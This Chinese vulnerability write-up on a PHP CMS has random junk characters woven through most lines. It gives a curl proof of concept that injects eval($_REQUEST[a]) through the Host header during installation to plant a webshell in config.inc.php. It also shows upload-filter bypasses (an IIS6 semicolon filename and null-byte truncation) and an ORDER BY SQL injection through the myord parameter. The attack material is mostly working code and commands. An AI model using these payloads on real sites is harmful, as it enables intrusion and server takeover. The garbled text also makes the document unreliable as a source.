注入:, Z7 _* _* j S( ?$ E
' [8 P& C# o3 X4 U0 l8 T
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码* g) F2 \6 k' Y/ v
; B! f6 ^6 r9 Z r8 L鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
@( q* }2 n, x) Z' J# j: G# y鸡肋2: 有一定安全常识的站长都会删掉 install 目录
7 d, j4 |3 ]$ C' y8 p ' U. K1 i1 Z6 W* I% X! K
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响( F/ J% M* T3 X* v7 L
! Z+ `( V% w" M; V& Q分析:
) y3 |1 @& Q: T. l7 q5 ^! i) L5 ]
$ K$ A3 L1 V' D9 [! l* e * d3 @9 t- d6 C) H9 z( X
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤, G1 Q9 Q6 C4 e1 o! ?
9 n( {/ F( |+ D3 `: v! [
$filestr = fread(fopen($SysConfigFile, 'r'),30000);
) w9 ?! [% N+ \( f* J3 I8 P $filestr=str_replace(" ","",$filestr);
! X9 q e; r8 w1 e( b; r $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
+ a% m+ R {% Z( v $filestr=str_replace("DefaultDbName",$dbname,$filestr);
: a8 D- O/ v* c9 g# M# | $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);5 {# _: l Q% E
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
$ i; Q- J1 V2 D $filestr=str_replace("DefaultsLan","zh_cn",$filestr);1 {2 e4 L; i; [: X
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);1 I+ @! M' A6 M, d4 a5 a! j
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
+ B, U/ D9 l/ Q1 j 4 v: @# m/ X! X- o3 ^4 h6 @7 Q; {
fwrite(fopen($ConFile,"w"),$filestr,30000);
/ P& p! P" k2 [9 E3 D$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
1 t5 a' t5 n) ?* g4 `- h ( |( l/ _- n/ Z+ c0 K( v( B
poc:
7 G5 ^% s: s/ P3 F8 e) `) Q$ R * Z7 l4 k! n1 g+ P
?5 m0 V" ?) C8 q2 D% g4 Z }, f0 X
1
* z" G& V. d9 f9 g8 k5 Ycurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#": h9 k3 B% A: w! A2 Y! b9 U2 O
shell地址: /config.inc.php
+ M2 s$ d7 ^3 K r4 Z. y跟之前的 phpcms一样 需要远程数据库2 c' N6 i3 R- ?: K
7 T+ W( Q8 i. A* Q* j
——————————————————–
6 R# y* j+ B3 L$ D上传漏洞(需要进后台):8 ]! q+ h' R3 ?1 k2 j
漏洞文件: /kedit/upload_cgi/upload.php; H. B* @- ~" l! S% i) O8 ]9 g9 R
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用+ N; M" G) d8 d1 S2 K
; J1 S+ @- l0 x+ {6 R
( z4 H: G! N5 } h2 s9 B/ E<?php. g$ _4 Y1 C& @& y: B, w
define("ROOTPATH", "../../");
1 b# o, G: {+ W; y include(ROOTPATH."includes/admin.inc.php");
$ v7 t, P" x t8 D9 e9 R w, k NeedAuth(0);
0 `" N: M& N3 n. ]; o4 [( M9 R
# [" y9 x' m# b% X+ g2 C $dt=date("Ymd",time());
6 |7 h. d2 |( m if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){7 K" k g) O0 ]9 |" |1 Y' T% f9 j
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
+ w8 a8 g9 i( w/ X' w }( q/ M4 h+ Z8 |) x0 o4 }
" R1 Y# u x0 t9 X( x+ z% _8 | //文件保存目录路径
% w" f3 ]) ~# A3 I: | $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';. U, ?$ J6 D; @9 C
echo $save_path;
' y6 j3 P- c3 a' R( [$ A; i //文件保存目录URL; p K+ \4 [% W- H6 D
$save_url = '../../'.$_POST['attachPath'].$dt.'/';3 e# ?4 }& U% U9 |
/ d' y% s b) s" p //定义允许上传的文件扩展名7 J, Z; `$ l; y2 y+ O" T
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀& C" G% n# Y9 x' M
0 p2 X1 n$ I9 `) ^
//最大文件大小' z% A. `) K, S4 M# y# V
$max_size = 1000000;6 @9 k) H$ l/ Y) r, e1 I$ M
: { r8 t6 F9 r3 {. c0 W2 B //更改目录权限, E5 O" q; b0 x4 @
@mkdir($save_path, 0777);
% o& B3 u& D4 \8 g& v2 v
( B$ V0 d6 g6 h- O% T //文件的全部路径3 v, D3 j2 O1 \) G4 O6 ^
$file_path = $save_path.$_POST['fileName']; //保存文件名* ]$ J% a8 J. n
/ n- g; B5 r, Y4 X V0 P //文件URL4 W3 K' ?2 X2 `
$file_url = $save_url.$_POST['fileName'];
! b7 @* z1 U+ {2 \3 I//有上传文件时% P7 V# T0 l" h- \
if (empty($_FILES) === false) {( F9 `6 K& ~$ Y
0 I9 z0 n0 J V8 L, F //原文件名( b' [' }5 T& s" }
$file_name = $_FILES['fileData']['name'];
1 S' W( K5 O) \! Q //服务器上临时文件名
! y, k. h/ ?! h& h- W $tmp_name = $_FILES['fileData']['tmp_name'];5 I9 l. [3 ~- d& `" Q% J, @! h
//文件大小
3 }7 D E4 t3 s) n$ p& U5 w* v $file_size = $_FILES['fileData']['size'];
1 _$ ~+ [1 P1 A) P5 Z* T //检查目录* L4 S: B' T1 z& Z+ n
if (@is_dir($save_path) === false) {
- e, t9 H! d% l. k1 E$ ?. Y alert("上传目录不存在。");
& m2 Y% X1 o4 p! u& ~ }1 Z- |8 d5 B7 U+ ^1 d9 c
//检查目录写权限
1 I- k9 ?2 W- {2 Z% f! K if (@is_writable($save_path) === false) {
9 V: k1 n# }. w% A alert("上传目录没有写权限。");
) k6 A- t9 A; _ }
- u. y: ^( V8 h% {0 u //检查是否已上传
9 T: X, o9 T, v% _ if (@is_uploaded_file($tmp_name) === false) {# e' ?1 P8 G2 k5 W
alert("临时文件可能不是上传文件。");
% B/ k& l) v: }5 s7 K) z4 c. Z }! j6 Q$ V# o3 t. Q3 ^. @
//检查文件大小
# Z+ Q: ~; d+ D if ($file_size > $max_size) { O6 ~* J: t6 o/ v
alert("上传文件大小超过限制。");
- e, P6 P# ~& o6 W }
6 R) t9 B7 F! r7 e) K: g. B //获得文件扩展名9 z) I8 v$ ~# W c, h
$temp_arr = explode(".", $_POST['fileName']);
7 m6 S( a9 E; C' w* \' Y; c7 s1 j $file_ext = array_pop($temp_arr);
% T1 \/ V# R- O, P $file_ext = trim($file_ext);6 m( F! [- f# f7 {
$file_ext = strtolower($file_ext);
/ B( K: [/ _; p8 j4 | " a# e* N" s& j: a4 b' u$ z
//检查扩展名
) K7 r4 L( D% q6 r8 \1 y if (in_array($file_ext, $ext_arr) === false) {
9 a% @6 u+ L3 }8 y. C alert("上传文件扩展名是不允许的扩展名。");
9 Y- }: T3 F2 ]4 k7 i" e }
, o8 a- T. x1 I
1 D: `% x9 ~3 ^7 ~5 d' N //移动文件 $ u! q- V& l+ d
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^ j: d/ o2 R: I
if (move_uploaded_file($tmp_name, $file_path) === false) {$ D! b3 `' n+ G4 U V+ y
alert("上传文件失败。");
5 n' q' z$ E& [6 V4 P+ Q8 g }2 r4 y7 C4 H4 K* L- S- y3 G
. p2 U- P0 q' n- {$ G7 x
@chmod($file_path,0666);
3 x) o0 G \& E1 i" |9 V
7 }4 A) s0 }. ]1 N( o ?>
; u2 [7 K4 ?7 d) M# a# l# ]$ ^抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
8 A% W: X9 U8 ?, Y: ?, D . v( x3 V1 Q3 @% O1 \
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
! k3 l+ ?' @1 D% c) J @ 0 l' c B( e+ v' s' y/ E
——————————————————. _0 ^( c( H. N% t6 |
注入漏洞:
+ J* \9 |6 C' G7 d& l" {/ z漏洞文件:search/module/search.php8 ] E$ O+ M5 b! Z0 f4 f, P
/search/index.php?key=1&myord=1 [sqlinjection]; d! Y' ?9 u: ~( X
' G* r: s. n& w$ ^9 d' H
7 _* z* I a% G5 E2 V- [<?php
% g$ O0 f% @2 U& _ // ... 省略 n 行...
7 l) Q" G) K" W5 F) X ], C //第18行:: F" l, W/ g# [. j+ t6 C$ [" Q' \& Y
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
4 J* o. |3 _, J: S$ V; l $page=htmlspecialchars($_GET["page"]);: h( p! d: \3 V
$myord=htmlspecialchars($_GET["myord"]);: R& d' ], L' y- w9 j- Q# K( O& Q4 U
) A0 Y/ }6 C0 p U. a# ^" t0 C& v // ... 省略 n 行...0 w$ m. b3 [) \- i
$key,$myord 两个参数带入查询
; A3 [1 T1 ]: ?* |! B, z //第47行 $key:. B4 s5 T( s9 V9 `. s
, m$ t1 x5 h4 h* H! k8 `- t& N# M( H
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..7 P [! P! p1 d2 x
5 [( m" a) H3 Z. T: h* Z0 @. E //第197行 $myord/ ^/ E) @6 j; ^: w" I
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
1 N5 Y' {0 K$ F4 X/ O2 M
. b# e7 I# ^6 z M- v ?>
6 X9 k# X' c- r3 a |